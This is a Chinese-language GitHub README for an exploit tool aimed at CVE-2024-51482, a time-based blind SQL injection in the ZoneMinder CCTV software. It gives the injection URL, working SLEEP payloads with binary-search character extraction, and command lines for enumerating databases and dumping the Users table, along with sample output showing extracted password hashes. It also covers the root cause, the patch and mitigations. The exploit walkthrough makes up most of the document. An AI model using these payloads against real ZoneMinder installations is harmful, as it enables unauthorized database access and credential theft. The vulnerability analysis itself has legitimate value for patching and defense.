BridgerAlderson/CVE-2024-51482

GitHub: BridgerAlderson/CVE-2024-51482

针对开源监控软件 ZoneMinder 的 CVE-2024-51482 盲注漏洞,提供基于时间延迟的自动化检测与数据提取利用脚本。

Stars: 0 | Forks: 0

# CVE-2024-51482 - ZoneMinder 盲注 ## 目录 - [概述](#-overview) - [漏洞详情](#-vulnerability-details) - [技术分析](#-technical-analysis) - [漏洞利用指南](#-exploitation-guide) - [安装](#installation) - [使用示例](#-usage-examples) - [缓解措施](#️-mitigation) - [参考](#-references) ## 概述 CVE-2024-51482 是在 ZoneMinder(一种流行的开源 CCTV 监控软件)中发现的严重布尔型 SQL 注入漏洞。此缺陷影响 1.37.* 到 1.37.64 版本,允许拥有低权限的认证攻击者在底层数据库服务器上执行任意 SQL 命令。 | Metric | Value | |---|---| | **CVE ID** | CVE-2024-51482 | | **CVSS Score** | 9.9 (Critical) | | **Attack Vector** | Network | | **Privileges Required** | Low | | **User Interaction** | None | | **Scope** | Changed | | **Impact** | Confidentiality, Integrity, Availability - HIGH | | **Patched Version** | 1.37.65 | ## 漏洞详情 ### 受影响版本 - **易受攻击:** ZoneMinder v1.37.0 到 v1.37.64。 - **已修补:** ZoneMinder v1.37.65 及更高版本。 ### 根本原因 该漏洞存在于 `web/ajax/event.php` 文件的 `removetag` 函数中。参数 `tid` (Tag ID) 被直接拼接到 SQL 查询中,没有经过适当的清理或参数化。 **易受攻击的代码:** ``` case 'removetag': $tagId = $_REQUEST['tid']; dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE! $rowCount = dbNumRows($sql); // ... ``` **已修复的代码:** ``` $sql = "SELECT * FROM Events_Tags WHERE TagId = ?"; $rowCount = dbNumRows($sql, $tagId); // Parameterized query ``` ### 攻击载体 易受攻击的端点可以通过以下方式触发: ``` http://target/zm/index.php?view=request&request=event&action=removetag&tid=[INJECTION_POINT] ``` ## 技术分析 ### 为什么是布尔型盲注? 注入点不会直接在响应中返回查询结果,使得传统的 UNION 攻击无法进行。相反,我们必须通过布尔条件或时间延迟来推断信息。 - **布尔型方法:** - True 条件 → 正常响应时间。 - False 条件 → 正常响应时间。 - 需要应用程序行为中有可观察到的差异。 - **时间型方法(更可靠):** - True 条件 → 延迟响应 (SLEEP)。 - False 条件 → 正常响应时间。 ### 漏洞利用机制 我们的漏洞利用使用 `SLEEP()` 函数进行基于时间的提取: ``` 1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy) ``` 当此条件评估为 true 时,数据库会休眠 2 秒,从而在 HTTP 响应中产生可测量的延迟。 ### 字符提取过程 - **二分查找:** 对于每个字符位置,我们使用 `ASCII(SUBSTRING()) > MID` 测试范围。 - **时间测量:** 如果条件为 true,则触发 `SLEEP`。 - **字符重构:** 逐个字符构建字符串。 提取位置 1 处字符的示例 payload: ``` 1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy) ``` ## 漏洞利用指南 ### 前置条件 - 目标运行 ZoneMinder 1.37.0 - 1.37.64。 - 有效凭据(默认:admin/admin)。 - 访问 ZoneMinder Web 界面的网络权限。 ### 安装 ``` # Clone repository git clone https://github.com/BridgerAlderson/CVE-2024-51482.git cd CVE-2024-51482 # Make script executable chmod +x CVE-2024-51482.py # Install required dependencies pip3 install requests ``` ### 基本用法 ``` # Test if target is vulnerable python3 CVE-2024-51482.py -i -u admin -p admin --test # Discover all databases python3 CVE-2024-51482.py -i -u admin -p admin --discover # List tables in a specific database python3 CVE-2024-51482.py -i -u admin -p admin --tables zm # List columns in a specific table python3 CVE-2024-51482.py -i -u admin -p admin --columns zm Users # Dump data from specific columns python3 CVE-2024-51482.py -i -u admin -p admin --dump zm Users "Username,Password" # Dump users table (default) python3 CVE-2024-51482.py -i -u admin -p admin --users # Enable debug output for detailed extraction process python3 CVE-2024-51482.py -i -u admin -p admin --users --debug # Adjust sleep time for more reliable extraction python3 CVE-2024-51482.py -i -u admin -p admin --users --sleep 3 # Disable colored output python3 CVE-2024-51482.py -i -u admin -p admin --users --no-color ``` ## 使用示例 **示例 1:漏洞测试** ``` $ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test [*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit [*] Target: 192.168.1.100 [*] Logging in as 'admin' on 192.168.1.100... [+] Login successful [*] Measuring baseline response time... [*] Baseline median: 0.058s [*] Testing vulnerability with 2s sleep... [+] Target is vulnerable! ``` **示例 2:数据库枚举** ``` $ python3 CVE-2024-51482.py -i -u admin -p admin --discover [*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit [*] Target: [*] Logging in as 'admin' on ... [+] Login successful [*] Measuring baseline response time... [*] Baseline median: 0.065s [*] Testing vulnerability with 2s sleep... [+] Target is vulnerable! [*] Enumerating databases... [+] Found database: information_schema [+] Found database: performance_schema [+] Found database: zm [+] Databases found: 1. information_schema 2. performance_schema 3. zm ``` **示例 3:转储用户凭据** ``` $ python3 CVE-2024-51482.py -i -u admin -p admin --users [*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit [*] Target: [*] Logging in as 'admin' on ... [+] Login successful [*] Measuring baseline response time... [*] Baseline median: 0.062s [*] Testing vulnerability with 2s sleep... [+] Target is vulnerable! [*] Dumping Users table from zm database... [*] Enumerating columns in 'zm.Users'... [+] Found column: Id [+] Found column: Username [+] Found column: Password [+] Found column: Language [+] Found column: Enabled [*] Dumping data from 'zm.Users'... [+] Row 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'} [+] Row 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'} [+] Users extracted: 2 User: admin Pass: $2y$10$...hashed... Email: admin@localhost Enabled: 1 User: operator Pass: $2y$10$...hashed... Email: operator@localhost Enabled: 1 ``` **示例 4:自定义数据提取** ``` # Dump specific columns from Events table python3 CVE-2024-51482.py -i -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime" ``` ## 漏洞利用如何工作 ### 逐步分解 1. **认证:** 脚本首先向 ZoneMinder 认证以获取有效的会话 cookie。 2. **基线测量:** 发送 5 个正常请求以建立平均响应时间。 3. **漏洞确认:** 使用 `SLEEP(2)` payload 进行测试,以验证注入是否有效。 4. **字符提取:** 对于每个字符位置,二分查找确定 ASCII 值: - 查询:`ASCII(SUBSTRING(({query}), {position}, 1)) > {mid}` . - 如果条件为 true → 触发 `SLEEP` → 响应延迟。 - 如果条件为 false → 立即响应。 5. **字符串重构:** 将字符连接起来形成完整的字符串。 ### 关键特性 - **二分查找算法:** 以 log₂(95) ≈ 7 个请求/字符的速度提取字符。 - **自适应计时:** 自动校准基线以进行准确检测。 - **进度指示器:** 显示实时提取进度。 - **错误恢复:** 优雅地处理连接超时。 - **调试模式:** 显示详细的逐字符提取过程。 ## 缓解措施 ### 紧急行动 - **将 ZoneMinder 更新到 1.37.65 或更高版本:** sudo apt-get update sudo apt-get install zoneminder - **如果无法打补丁,请限制对易受攻击脚本的访问:** # Apache configuration Require ip 192.168.0.0/16 - 对数据库账户实施最小权限原则。 - **监控日志中可疑的 SQL 注入尝试:** grep -i "sleep\|union\|select" /var/log/zm/*.log ### 长期建议 - 对所有数据库交互使用参数化查询 . - 实施 Web Application Firewall (WAF) 规则 . - 定期进行安全审计和渗透测试 . - 保持 ZoneMinder 和所有依赖项更新 . ## 参考 - GitHub Security Advisory - GHSA-qm8h-3xvf-m7j3 - NVD Entry - CVE-2024-51482 - Patch Commit - CISA Vulnrichment - Tenable Nessus Plugin - Check Point Advisory ## 免责声明 此工具仅用于教育和安全测试目的。未经授权测试计算机系统是非法的。在测试任何系统之前,请务必获得适当的授权。 ## CVSS 向量字符串 **CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H** | Metric | Value | |---|---| | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | Low | | **User Interaction** | None | | **Scope** | Changed | | **Confidentiality** | High | | **Integrity** | High | | **Availability** | High |
标签:0day, CCTV, CISA项目, CVE-2024-51482, Maven, Nday, PHP安全, PoC, Web安全, ZoneMinder, 多线程, 数据库攻击, 暴力破解, 漏洞分析, 漏洞验证, 盲注, 编程工具, 网络安全, 蓝队分析, 视频监控, 路径探测, 远程代码执行, 逆向工具, 隐私保护